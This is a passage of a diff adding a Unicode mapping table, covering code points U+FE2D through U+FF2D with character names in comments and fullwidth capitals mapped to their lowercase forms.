+ [0xfe2d, 0xfe2d], /* COMBINING CONJOINING MACRON BELOW */
+ [0xfe2e, 0xfe2e], /* COMBINING CYRILLIC TITLO LEFT HALF */
+ [0xfe2f, 0xfe2f], /* COMBINING CYRILLIC TITLO RIGHT HALF */
+ [0xfe30, 0xfe30], /* PRESENTATION FORM FOR VERTICAL TWO DOT LEADER (GLYPH FOR VERTICAL TWO DOT LEADER) */
+ [0xfe31, 0xfe31], /* PRESENTATION FORM FOR VERTICAL EM DASH (GLYPH FOR VERTICAL EM DASH) */
+ [0xfe32, 0xfe32], /* PRESENTATION FORM FOR VERTICAL EN DASH (GLYPH FOR VERTICAL EN DASH) */
+ [0xfe33, 0xfe33], /* PRESENTATION FORM FOR VERTICAL LOW LINE (GLYPH FOR VERTICAL SPACING UNDERSCORE) */
+ [0xfe34, 0xfe34], /* PRESENTATION FORM FOR VERTICAL WAVY LOW LINE (GLYPH FOR VERTICAL SPACING WAVY UNDERSCORE) */
+ [0xfe35, 0xfe35], /* PRESENTATION FORM FOR VERTICAL LEFT PARENTHESIS (GLYPH FOR VERTICAL OPENING PARENTHESIS) */
+ [0xfe36, 0xfe36], /* PRESENTATION FORM FOR VERTICAL RIGHT PARENTHESIS (GLYPH FOR VERTICAL CLOSING PARENTHESIS) */
+ [0xfe37, 0xfe37], /* PRESENTATION FORM FOR VERTICAL LEFT CURLY BRACKET (GLYPH FOR VERTICAL OPENING CURLY BRACKET) */
+ [0xfe38, 0xfe38], /* PRESENTATION FORM FOR VERTICAL RIGHT CURLY BRACKET (GLYPH FOR VERTICAL CLOSING CURLY BRACKET) */
+ [0xfe39, 0xfe39], /* PRESENTATION FORM FOR VERTICAL LEFT TORTOISE SHELL BRACKET (GLYPH FOR VERTICAL OPENING TORTOISE SHELL BRACKET) */
+ [0xfe3a, 0xfe3a], /* PRESENTATION FORM FOR VERTICAL RIGHT TORTOISE SHELL BRACKET (GLYPH FOR VERTICAL CLOSING TORTOISE SHELL BRACKET) */
+ [0xfe3b, 0xfe3b], /* PRESENTATION FORM FOR VERTICAL LEFT BLACK LENTICULAR BRACKET (GLYPH FOR VERTICAL OPENING BLACK LENTICULAR BRACKET) */
+ [0xfe3c, 0xfe3c], /* PRESENTATION FORM FOR VERTICAL RIGHT BLACK LENTICULAR BRACKET (GLYPH FOR VERTICAL CLOSING BLACK LENTICULAR BRACKET) */
+ [0xfe3d, 0xfe3d], /* PRESENTATION FORM FOR VERTICAL LEFT DOUBLE ANGLE BRACKET (GLYPH FOR VERTICAL OPENING DOUBLE ANGLE BRACKET) */
+ [0xfe3e, 0xfe3e], /* PRESENTATION FORM FOR VERTICAL RIGHT DOUBLE ANGLE BRACKET (GLYPH FOR VERTICAL CLOSING DOUBLE ANGLE BRACKET) */
+ [0xfe3f, 0xfe3f], /* PRESENTATION FORM FOR VERTICAL LEFT ANGLE BRACKET (GLYPH FOR VERTICAL OPENING ANGLE BRACKET) */
+ [0xfe40, 0xfe40], /* PRESENTATION FORM FOR VERTICAL RIGHT ANGLE BRACKET (GLYPH FOR VERTICAL CLOSING ANGLE BRACKET) */
+ [0xfe41, 0xfe41], /* PRESENTATION FORM FOR VERTICAL LEFT CORNER BRACKET (GLYPH FOR VERTICAL OPENING CORNER BRACKET) */
+ [0xfe42, 0xfe42], /* PRESENTATION FORM FOR VERTICAL RIGHT CORNER BRACKET (GLYPH FOR VERTICAL CLOSING CORNER BRACKET) */
+ [0xfe43, 0xfe43], /* PRESENTATION FORM FOR VERTICAL LEFT WHITE CORNER BRACKET (GLYPH FOR VERTICAL OPENING WHITE CORNER BRACKET) */
+ [0xfe44, 0xfe44], /* PRESENTATION FORM FOR VERTICAL RIGHT WHITE CORNER BRACKET (GLYPH FOR VERTICAL CLOSING WHITE CORNER BRACKET) */
+ [0xfe45, 0xfe45], /* SESAME DOT */
+ [0xfe46, 0xfe46], /* WHITE SESAME DOT */
+ [0xfe47, 0xfe47], /* PRESENTATION FORM FOR VERTICAL LEFT SQUARE BRACKET */
+ [0xfe48, 0xfe48], /* PRESENTATION FORM FOR VERTICAL RIGHT SQUARE BRACKET */
+ [0xfe49, 0xfe49], /* DASHED OVERLINE (SPACING DASHED OVERSCORE) */
+ [0xfe4a, 0xfe4a], /* CENTRELINE OVERLINE (SPACING CENTERLINE OVERSCORE) */
+ [0xfe4b, 0xfe4b], /* WAVY OVERLINE (SPACING WAVY OVERSCORE) */
+ [0xfe4c, 0xfe4c], /* DOUBLE WAVY OVERLINE (SPACING DOUBLE WAVY OVERSCORE) */
+ [0xfe4d, 0xfe4d], /* DASHED LOW LINE (SPACING DASHED UNDERSCORE) */
+ [0xfe4e, 0xfe4e], /* CENTRELINE LOW LINE (SPACING CENTERLINE UNDERSCORE) */
+ [0xfe4f, 0xfe4f], /* WAVY LOW LINE (SPACING WAVY UNDERSCORE) */
+ [0xfe50, 0xfe50], /* SMALL COMMA */
+ [0xfe51, 0xfe51], /* SMALL IDEOGRAPHIC COMMA */
+ [0xfe52, 0xfe52], /* SMALL FULL STOP (SMALL PERIOD) */
+ [0xfe53, 0xfe53],
+ [0xfe54, 0xfe54], /* SMALL SEMICOLON */
+ [0xfe55, 0xfe55], /* SMALL COLON */
+ [0xfe56, 0xfe56], /* SMALL QUESTION MARK */
+ [0xfe57, 0xfe57], /* SMALL EXCLAMATION MARK */
+ [0xfe58, 0xfe58], /* SMALL EM DASH */
+ [0xfe59, 0xfe59], /* SMALL LEFT PARENTHESIS (SMALL OPENING PARENTHESIS) */
+ [0xfe5a, 0xfe5a], /* SMALL RIGHT PARENTHESIS (SMALL CLOSING PARENTHESIS) */
+ [0xfe5b, 0xfe5b], /* SMALL LEFT CURLY BRACKET (SMALL OPENING CURLY BRACKET) */
+ [0xfe5c, 0xfe5c], /* SMALL RIGHT CURLY BRACKET (SMALL CLOSING CURLY BRACKET) */
+ [0xfe5d, 0xfe5d], /* SMALL LEFT TORTOISE SHELL BRACKET (SMALL OPENING TORTOISE SHELL BRACKET) */
+ [0xfe5e, 0xfe5e], /* SMALL RIGHT TORTOISE SHELL BRACKET (SMALL CLOSING TORTOISE SHELL BRACKET) */
+ [0xfe5f, 0xfe5f], /* SMALL NUMBER SIGN */
+ [0xfe60, 0xfe60], /* SMALL AMPERSAND */
+ [0xfe61, 0xfe61], /* SMALL ASTERISK */
+ [0xfe62, 0xfe62], /* SMALL PLUS SIGN */
+ [0xfe63, 0xfe63], /* SMALL HYPHEN-MINUS */
+ [0xfe64, 0xfe64], /* SMALL LESS-THAN SIGN */
+ [0xfe65, 0xfe65], /* SMALL GREATER-THAN SIGN */
+ [0xfe66, 0xfe66], /* SMALL EQUALS SIGN */
+ [0xfe67, 0xfe67],
+ [0xfe68, 0xfe68], /* SMALL REVERSE SOLIDUS (SMALL BACKSLASH) */
+ [0xfe69, 0xfe69], /* SMALL DOLLAR SIGN */
+ [0xfe6a, 0xfe6a], /* SMALL PERCENT SIGN */
+ [0xfe6b, 0xfe6b], /* SMALL COMMERCIAL AT */
+ [0xfe6c, 0xfe6c],
+ [0xfe6d, 0xfe6d],
+ [0xfe6e, 0xfe6e],
+ [0xfe6f, 0xfe6f],
+ [0xfe70, 0xfe70], /* ARABIC FATHATAN ISOLATED FORM (ARABIC SPACING FATHATAN) */
+ [0xfe71, 0xfe71], /* ARABIC TATWEEL WITH FATHATAN ABOVE (ARABIC FATHATAN ON TATWEEL) */
+ [0xfe72, 0xfe72], /* ARABIC DAMMATAN ISOLATED FORM (ARABIC SPACING DAMMATAN) */
+ [0xfe73, 0xfe73], /* ARABIC TAIL FRAGMENT */
+ [0xfe74, 0xfe74], /* ARABIC KASRATAN ISOLATED FORM (ARABIC SPACING KASRATAN) */
+ [0xfe75, 0xfe75],
+ [0xfe76, 0xfe76], /* ARABIC FATHA ISOLATED FORM (ARABIC SPACING FATHAH) */
+ [0xfe77, 0xfe77], /* ARABIC FATHA MEDIAL FORM (ARABIC FATHAH ON TATWEEL) */
+ [0xfe78, 0xfe78], /* ARABIC DAMMA ISOLATED FORM (ARABIC SPACING DAMMAH) */
+ [0xfe79, 0xfe79], /* ARABIC DAMMA MEDIAL FORM (ARABIC DAMMAH ON TATWEEL) */
+ [0xfe7a, 0xfe7a], /* ARABIC KASRA ISOLATED FORM (ARABIC SPACING KASRAH) */
+ [0xfe7b, 0xfe7b], /* ARABIC KASRA MEDIAL FORM (ARABIC KASRAH ON TATWEEL) */
+ [0xfe7c, 0xfe7c], /* ARABIC SHADDA ISOLATED FORM (ARABIC SPACING SHADDAH) */
+ [0xfe7d, 0xfe7d], /* ARABIC SHADDA MEDIAL FORM (ARABIC SHADDAH ON TATWEEL) */
+ [0xfe7e, 0xfe7e], /* ARABIC SUKUN ISOLATED FORM (ARABIC SPACING SUKUN) */
+ [0xfe7f, 0xfe7f], /* ARABIC SUKUN MEDIAL FORM (ARABIC SUKUN ON TATWEEL) */
+ [0xfe80, 0xfe80], /* ARABIC LETTER HAMZA ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH) */
+ [0xfe81, 0xfe81], /* ARABIC LETTER ALEF WITH MADDA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC MADDAH ON ALEF) */
+ [0xfe82, 0xfe82], /* ARABIC LETTER ALEF WITH MADDA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC MADDAH ON ALEF) */
+ [0xfe83, 0xfe83], /* ARABIC LETTER ALEF WITH HAMZA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH ON ALEF) */
+ [0xfe84, 0xfe84], /* ARABIC LETTER ALEF WITH HAMZA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH ON ALEF) */
+ [0xfe85, 0xfe85], /* ARABIC LETTER WAW WITH HAMZA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH ON WAW) */
+ [0xfe86, 0xfe86], /* ARABIC LETTER WAW WITH HAMZA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH ON WAW) */
+ [0xfe87, 0xfe87], /* ARABIC LETTER ALEF WITH HAMZA BELOW ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH UNDER ALEF) */
+ [0xfe88, 0xfe88], /* ARABIC LETTER ALEF WITH HAMZA BELOW FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH UNDER ALEF) */
+ [0xfe89, 0xfe89], /* ARABIC LETTER YEH WITH HAMZA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH ON YA) */
+ [0xfe8a, 0xfe8a], /* ARABIC LETTER YEH WITH HAMZA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH ON YA) */
+ [0xfe8b, 0xfe8b], /* ARABIC LETTER YEH WITH HAMZA ABOVE INITIAL FORM (GLYPH FOR INITIAL ARABIC HAMZAH ON YA) */
+ [0xfe8c, 0xfe8c], /* ARABIC LETTER YEH WITH HAMZA ABOVE MEDIAL FORM (GLYPH FOR MEDIAL ARABIC HAMZAH ON YA) */
+ [0xfe8d, 0xfe8d], /* ARABIC LETTER ALEF ISOLATED FORM (GLYPH FOR ISOLATE ARABIC ALEF) */
+ [0xfe8e, 0xfe8e], /* ARABIC LETTER ALEF FINAL FORM (GLYPH FOR FINAL ARABIC ALEF) */
+ [0xfe8f, 0xfe8f], /* ARABIC LETTER BEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC BAA) */
+ [0xfe90, 0xfe90], /* ARABIC LETTER BEH FINAL FORM (GLYPH FOR FINAL ARABIC BAA) */
+ [0xfe91, 0xfe91], /* ARABIC LETTER BEH INITIAL FORM (GLYPH FOR INITIAL ARABIC BAA) */
+ [0xfe92, 0xfe92], /* ARABIC LETTER BEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC BAA) */
+ [0xfe93, 0xfe93], /* ARABIC LETTER TEH MARBUTA ISOLATED FORM (GLYPH FOR ISOLATE ARABIC TAA MARBUTAH) */
+ [0xfe94, 0xfe94], /* ARABIC LETTER TEH MARBUTA FINAL FORM (GLYPH FOR FINAL ARABIC TAA MARBUTAH) */
+ [0xfe95, 0xfe95], /* ARABIC LETTER TEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC TAA) */
+ [0xfe96, 0xfe96], /* ARABIC LETTER TEH FINAL FORM (GLYPH FOR FINAL ARABIC TAA) */
+ [0xfe97, 0xfe97], /* ARABIC LETTER TEH INITIAL FORM (GLYPH FOR INITIAL ARABIC TAA) */
+ [0xfe98, 0xfe98], /* ARABIC LETTER TEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC TAA) */
+ [0xfe99, 0xfe99], /* ARABIC LETTER THEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC THAA) */
+ [0xfe9a, 0xfe9a], /* ARABIC LETTER THEH FINAL FORM (GLYPH FOR FINAL ARABIC THAA) */
+ [0xfe9b, 0xfe9b], /* ARABIC LETTER THEH INITIAL FORM (GLYPH FOR INITIAL ARABIC THAA) */
+ [0xfe9c, 0xfe9c], /* ARABIC LETTER THEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC THAA) */
+ [0xfe9d, 0xfe9d], /* ARABIC LETTER JEEM ISOLATED FORM (GLYPH FOR ISOLATE ARABIC JEEM) */
+ [0xfe9e, 0xfe9e], /* ARABIC LETTER JEEM FINAL FORM (GLYPH FOR FINAL ARABIC JEEM) */
+ [0xfe9f, 0xfe9f], /* ARABIC LETTER JEEM INITIAL FORM (GLYPH FOR INITIAL ARABIC JEEM) */
+ [0xfea0, 0xfea0], /* ARABIC LETTER JEEM MEDIAL FORM (GLYPH FOR MEDIAL ARABIC JEEM) */
+ [0xfea1, 0xfea1], /* ARABIC LETTER HAH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAA) */
+ [0xfea2, 0xfea2], /* ARABIC LETTER HAH FINAL FORM (GLYPH FOR FINAL ARABIC HAA) */
+ [0xfea3, 0xfea3], /* ARABIC LETTER HAH INITIAL FORM (GLYPH FOR INITIAL ARABIC HAA) */
+ [0xfea4, 0xfea4], /* ARABIC LETTER HAH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC HAA) */
+ [0xfea5, 0xfea5], /* ARABIC LETTER KHAH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC KHAA) */
+ [0xfea6, 0xfea6], /* ARABIC LETTER KHAH FINAL FORM (GLYPH FOR FINAL ARABIC KHAA) */
+ [0xfea7, 0xfea7], /* ARABIC LETTER KHAH INITIAL FORM (GLYPH FOR INITIAL ARABIC KHAA) */
+ [0xfea8, 0xfea8], /* ARABIC LETTER KHAH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC KHAA) */
+ [0xfea9, 0xfea9], /* ARABIC LETTER DAL ISOLATED FORM (GLYPH FOR ISOLATE ARABIC DAL) */
+ [0xfeaa, 0xfeaa], /* ARABIC LETTER DAL FINAL FORM (GLYPH FOR FINAL ARABIC DAL) */
+ [0xfeab, 0xfeab], /* ARABIC LETTER THAL ISOLATED FORM (GLYPH FOR ISOLATE ARABIC THAL) */
+ [0xfeac, 0xfeac], /* ARABIC LETTER THAL FINAL FORM (GLYPH FOR FINAL ARABIC THAL) */
+ [0xfead, 0xfead], /* ARABIC LETTER REH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC RA) */
+ [0xfeae, 0xfeae], /* ARABIC LETTER REH FINAL FORM (GLYPH FOR FINAL ARABIC RA) */
+ [0xfeaf, 0xfeaf], /* ARABIC LETTER ZAIN ISOLATED FORM (GLYPH FOR ISOLATE ARABIC ZAIN) */
+ [0xfeb0, 0xfeb0], /* ARABIC LETTER ZAIN FINAL FORM (GLYPH FOR FINAL ARABIC ZAIN) */
+ [0xfeb1, 0xfeb1], /* ARABIC LETTER SEEN ISOLATED FORM (GLYPH FOR ISOLATE ARABIC SEEN) */
+ [0xfeb2, 0xfeb2], /* ARABIC LETTER SEEN FINAL FORM (GLYPH FOR FINAL ARABIC SEEN) */
+ [0xfeb3, 0xfeb3], /* ARABIC LETTER SEEN INITIAL FORM (GLYPH FOR INITIAL ARABIC SEEN) */
+ [0xfeb4, 0xfeb4], /* ARABIC LETTER SEEN MEDIAL FORM (GLYPH FOR MEDIAL ARABIC SEEN) */
+ [0xfeb5, 0xfeb5], /* ARABIC LETTER SHEEN ISOLATED FORM (GLYPH FOR ISOLATE ARABIC SHEEN) */
+ [0xfeb6, 0xfeb6], /* ARABIC LETTER SHEEN FINAL FORM (GLYPH FOR FINAL ARABIC SHEEN) */
+ [0xfeb7, 0xfeb7], /* ARABIC LETTER SHEEN INITIAL FORM (GLYPH FOR INITIAL ARABIC SHEEN) */
+ [0xfeb8, 0xfeb8], /* ARABIC LETTER SHEEN MEDIAL FORM (GLYPH FOR MEDIAL ARABIC SHEEN) */
+ [0xfeb9, 0xfeb9], /* ARABIC LETTER SAD ISOLATED FORM (GLYPH FOR ISOLATE ARABIC SAD) */
+ [0xfeba, 0xfeba], /* ARABIC LETTER SAD FINAL FORM (GLYPH FOR FINAL ARABIC SAD) */
+ [0xfebb, 0xfebb], /* ARABIC LETTER SAD INITIAL FORM (GLYPH FOR INITIAL ARABIC SAD) */
+ [0xfebc, 0xfebc], /* ARABIC LETTER SAD MEDIAL FORM (GLYPH FOR MEDIAL ARABIC SAD) */
+ [0xfebd, 0xfebd], /* ARABIC LETTER DAD ISOLATED FORM (GLYPH FOR ISOLATE ARABIC DAD) */
+ [0xfebe, 0xfebe], /* ARABIC LETTER DAD FINAL FORM (GLYPH FOR FINAL ARABIC DAD) */
+ [0xfebf, 0xfebf], /* ARABIC LETTER DAD INITIAL FORM (GLYPH FOR INITIAL ARABIC DAD) */
+ [0xfec0, 0xfec0], /* ARABIC LETTER DAD MEDIAL FORM (GLYPH FOR MEDIAL ARABIC DAD) */
+ [0xfec1, 0xfec1], /* ARABIC LETTER TAH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC TAH) */
+ [0xfec2, 0xfec2], /* ARABIC LETTER TAH FINAL FORM (GLYPH FOR FINAL ARABIC TAH) */
+ [0xfec3, 0xfec3], /* ARABIC LETTER TAH INITIAL FORM (GLYPH FOR INITIAL ARABIC TAH) */
+ [0xfec4, 0xfec4], /* ARABIC LETTER TAH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC TAH) */
+ [0xfec5, 0xfec5], /* ARABIC LETTER ZAH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC DHAH) */
+ [0xfec6, 0xfec6], /* ARABIC LETTER ZAH FINAL FORM (GLYPH FOR FINAL ARABIC DHAH) */
+ [0xfec7, 0xfec7], /* ARABIC LETTER ZAH INITIAL FORM (GLYPH FOR INITIAL ARABIC DHAH) */
+ [0xfec8, 0xfec8], /* ARABIC LETTER ZAH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC DHAH) */
+ [0xfec9, 0xfec9], /* ARABIC LETTER AIN ISOLATED FORM (GLYPH FOR ISOLATE ARABIC AIN) */
+ [0xfeca, 0xfeca], /* ARABIC LETTER AIN FINAL FORM (GLYPH FOR FINAL ARABIC AIN) */
+ [0xfecb, 0xfecb], /* ARABIC LETTER AIN INITIAL FORM (GLYPH FOR INITIAL ARABIC AIN) */
+ [0xfecc, 0xfecc], /* ARABIC LETTER AIN MEDIAL FORM (GLYPH FOR MEDIAL ARABIC AIN) */
+ [0xfecd, 0xfecd], /* ARABIC LETTER GHAIN ISOLATED FORM (GLYPH FOR ISOLATE ARABIC GHAIN) */
+ [0xfece, 0xfece], /* ARABIC LETTER GHAIN FINAL FORM (GLYPH FOR FINAL ARABIC GHAIN) */
+ [0xfecf, 0xfecf], /* ARABIC LETTER GHAIN INITIAL FORM (GLYPH FOR INITIAL ARABIC GHAIN) */
+ [0xfed0, 0xfed0], /* ARABIC LETTER GHAIN MEDIAL FORM (GLYPH FOR MEDIAL ARABIC GHAIN) */
+ [0xfed1, 0xfed1], /* ARABIC LETTER FEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC FA) */
+ [0xfed2, 0xfed2], /* ARABIC LETTER FEH FINAL FORM (GLYPH FOR FINAL ARABIC FA) */
+ [0xfed3, 0xfed3], /* ARABIC LETTER FEH INITIAL FORM (GLYPH FOR INITIAL ARABIC FA) */
+ [0xfed4, 0xfed4], /* ARABIC LETTER FEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC FA) */
+ [0xfed5, 0xfed5], /* ARABIC LETTER QAF ISOLATED FORM (GLYPH FOR ISOLATE ARABIC QAF) */
+ [0xfed6, 0xfed6], /* ARABIC LETTER QAF FINAL FORM (GLYPH FOR FINAL ARABIC QAF) */
+ [0xfed7, 0xfed7], /* ARABIC LETTER QAF INITIAL FORM (GLYPH FOR INITIAL ARABIC QAF) */
+ [0xfed8, 0xfed8], /* ARABIC LETTER QAF MEDIAL FORM (GLYPH FOR MEDIAL ARABIC QAF) */
+ [0xfed9, 0xfed9], /* ARABIC LETTER KAF ISOLATED FORM (GLYPH FOR ISOLATE ARABIC CAF) */
+ [0xfeda, 0xfeda], /* ARABIC LETTER KAF FINAL FORM (GLYPH FOR FINAL ARABIC CAF) */
+ [0xfedb, 0xfedb], /* ARABIC LETTER KAF INITIAL FORM (GLYPH FOR INITIAL ARABIC CAF) */
+ [0xfedc, 0xfedc], /* ARABIC LETTER KAF MEDIAL FORM (GLYPH FOR MEDIAL ARABIC CAF) */
+ [0xfedd, 0xfedd], /* ARABIC LETTER LAM ISOLATED FORM (GLYPH FOR ISOLATE ARABIC LAM) */
+ [0xfede, 0xfede], /* ARABIC LETTER LAM FINAL FORM (GLYPH FOR FINAL ARABIC LAM) */
+ [0xfedf, 0xfedf], /* ARABIC LETTER LAM INITIAL FORM (GLYPH FOR INITIAL ARABIC LAM) */
+ [0xfee0, 0xfee0], /* ARABIC LETTER LAM MEDIAL FORM (GLYPH FOR MEDIAL ARABIC LAM) */
+ [0xfee1, 0xfee1], /* ARABIC LETTER MEEM ISOLATED FORM (GLYPH FOR ISOLATE ARABIC MEEM) */
+ [0xfee2, 0xfee2], /* ARABIC LETTER MEEM FINAL FORM (GLYPH FOR FINAL ARABIC MEEM) */
+ [0xfee3, 0xfee3], /* ARABIC LETTER MEEM INITIAL FORM (GLYPH FOR INITIAL ARABIC MEEM) */
+ [0xfee4, 0xfee4], /* ARABIC LETTER MEEM MEDIAL FORM (GLYPH FOR MEDIAL ARABIC MEEM) */
+ [0xfee5, 0xfee5], /* ARABIC LETTER NOON ISOLATED FORM (GLYPH FOR ISOLATE ARABIC NOON) */
+ [0xfee6, 0xfee6], /* ARABIC LETTER NOON FINAL FORM (GLYPH FOR FINAL ARABIC NOON) */
+ [0xfee7, 0xfee7], /* ARABIC LETTER NOON INITIAL FORM (GLYPH FOR INITIAL ARABIC NOON) */
+ [0xfee8, 0xfee8], /* ARABIC LETTER NOON MEDIAL FORM (GLYPH FOR MEDIAL ARABIC NOON) */
+ [0xfee9, 0xfee9], /* ARABIC LETTER HEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HA) */
+ [0xfeea, 0xfeea], /* ARABIC LETTER HEH FINAL FORM (GLYPH FOR FINAL ARABIC HA) */
+ [0xfeeb, 0xfeeb], /* ARABIC LETTER HEH INITIAL FORM (GLYPH FOR INITIAL ARABIC HA) */
+ [0xfeec, 0xfeec], /* ARABIC LETTER HEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC HA) */
+ [0xfeed, 0xfeed], /* ARABIC LETTER WAW ISOLATED FORM (GLYPH FOR ISOLATE ARABIC WAW) */
+ [0xfeee, 0xfeee], /* ARABIC LETTER WAW FINAL FORM (GLYPH FOR FINAL ARABIC WAW) */
+ [0xfeef, 0xfeef], /* ARABIC LETTER ALEF MAKSURA ISOLATED FORM (GLYPH FOR ISOLATE ARABIC ALEF MAQSURAH) */
+ [0xfef0, 0xfef0], /* ARABIC LETTER ALEF MAKSURA FINAL FORM (GLYPH FOR FINAL ARABIC ALEF MAQSURAH) */
+ [0xfef1, 0xfef1], /* ARABIC LETTER YEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC YA) */
+ [0xfef2, 0xfef2], /* ARABIC LETTER YEH FINAL FORM (GLYPH FOR FINAL ARABIC YA) */
+ [0xfef3, 0xfef3], /* ARABIC LETTER YEH INITIAL FORM (GLYPH FOR INITIAL ARABIC YA) */
+ [0xfef4, 0xfef4], /* ARABIC LETTER YEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC YA) */
+ [0xfef5, 0xfef5], /* ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC MADDAH ON LIGATURE LAM ALEF) */
+ [0xfef6, 0xfef6], /* ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC MADDAH ON LIGATURE LAM ALEF) */
+ [0xfef7, 0xfef7], /* ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH ON LIGATURE LAM ALEF) */
+ [0xfef8, 0xfef8], /* ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH ON LIGATURE LAM ALEF) */
+ [0xfef9, 0xfef9], /* ARABIC LIGATURE LAM WITH ALEF WITH HAMZA BELOW ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH UNDER LIGATURE LAM ALEF) */
+ [0xfefa, 0xfefa], /* ARABIC LIGATURE LAM WITH ALEF WITH HAMZA BELOW FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH UNDER LIGATURE LAM ALEF) */
+ [0xfefb, 0xfefb], /* ARABIC LIGATURE LAM WITH ALEF ISOLATED FORM (GLYPH FOR ISOLATE ARABIC LIGATURE LAM ALEF) */
+ [0xfefc, 0xfefc], /* ARABIC LIGATURE LAM WITH ALEF FINAL FORM (GLYPH FOR FINAL ARABIC LIGATURE LAM ALEF) */
+ [0xfefd, 0xfefd],
+ [0xfefe, 0xfefe],
+ [0xfeff, 0xfeff], /* ZERO WIDTH NO-BREAK SPACE (BYTE ORDER MARK) */
+ [0xff00, 0xff00],
+ [0xff01, 0xff01], /* FULLWIDTH EXCLAMATION MARK */
+ [0xff02, 0xff02], /* FULLWIDTH QUOTATION MARK */
+ [0xff03, 0xff03], /* FULLWIDTH NUMBER SIGN */
+ [0xff04, 0xff04], /* FULLWIDTH DOLLAR SIGN */
+ [0xff05, 0xff05], /* FULLWIDTH PERCENT SIGN */
+ [0xff06, 0xff06], /* FULLWIDTH AMPERSAND */
+ [0xff07, 0xff07], /* FULLWIDTH APOSTROPHE */
+ [0xff08, 0xff08], /* FULLWIDTH LEFT PARENTHESIS (FULLWIDTH OPENING PARENTHESIS) */
+ [0xff09, 0xff09], /* FULLWIDTH RIGHT PARENTHESIS (FULLWIDTH CLOSING PARENTHESIS) */
+ [0xff0a, 0xff0a], /* FULLWIDTH ASTERISK */
+ [0xff0b, 0xff0b], /* FULLWIDTH PLUS SIGN */
+ [0xff0c, 0xff0c], /* FULLWIDTH COMMA */
+ [0xff0d, 0xff0d], /* FULLWIDTH HYPHEN-MINUS */
+ [0xff0e, 0xff0e], /* FULLWIDTH FULL STOP (FULLWIDTH PERIOD) */
+ [0xff0f, 0xff0f], /* FULLWIDTH SOLIDUS (FULLWIDTH SLASH) */
+ [0xff10, 0xff10], /* FULLWIDTH DIGIT ZERO */
+ [0xff11, 0xff11], /* FULLWIDTH DIGIT ONE */
+ [0xff12, 0xff12], /* FULLWIDTH DIGIT TWO */
+ [0xff13, 0xff13], /* FULLWIDTH DIGIT THREE */
+ [0xff14, 0xff14], /* FULLWIDTH DIGIT FOUR */
+ [0xff15, 0xff15], /* FULLWIDTH DIGIT FIVE */
+ [0xff16, 0xff16], /* FULLWIDTH DIGIT SIX */
+ [0xff17, 0xff17], /* FULLWIDTH DIGIT SEVEN */
+ [0xff18, 0xff18], /* FULLWIDTH DIGIT EIGHT */
+ [0xff19, 0xff19], /* FULLWIDTH DIGIT NINE */
+ [0xff1a, 0xff1a], /* FULLWIDTH COLON */
+ [0xff1b, 0xff1b], /* FULLWIDTH SEMICOLON */
+ [0xff1c, 0xff1c], /* FULLWIDTH LESS-THAN SIGN */
+ [0xff1d, 0xff1d], /* FULLWIDTH EQUALS SIGN */
+ [0xff1e, 0xff1e], /* FULLWIDTH GREATER-THAN SIGN */
+ [0xff1f, 0xff1f], /* FULLWIDTH QUESTION MARK */
+ [0xff20, 0xff20], /* FULLWIDTH COMMERCIAL AT */
+ [0xff21, 0xff41], /* FULLWIDTH LATIN CAPITAL LETTER A */
+ [0xff22, 0xff42], /* FULLWIDTH LATIN CAPITAL LETTER B */
+ [0xff23, 0xff43], /* FULLWIDTH LATIN CAPITAL LETTER C */
+ [0xff24, 0xff44], /* FULLWIDTH LATIN CAPITAL LETTER D */
+ [0xff25, 0xff45], /* FULLWIDTH LATIN CAPITAL LETTER E */
+ [0xff26, 0xff46], /* FULLWIDTH LATIN CAPITAL LETTER F */
+ [0xff27, 0xff47], /* FULLWIDTH LATIN CAPITAL LETTER G */
+ [0xff28, 0xff48], /* FULLWIDTH LATIN CAPITAL LETTER H */
+ [0xff29, 0xff49], /* FULLWIDTH LATIN CAPITAL LETTER I */
+ [0xff2a, 0xff4a], /* FULLWIDTH LATIN CAPITAL LETTER J */
+ [0xff2b, 0xff4b], /* FULLWIDTH LATIN CAPITAL LETTER K */
+ [0xff2c, 0xff4c], /* FULLWIDTH LATIN CAPITAL LETTER L */
+ [0xff2d, 0xff4d], /* FULLWIDTH LATIN CAPITAL LETTER M */
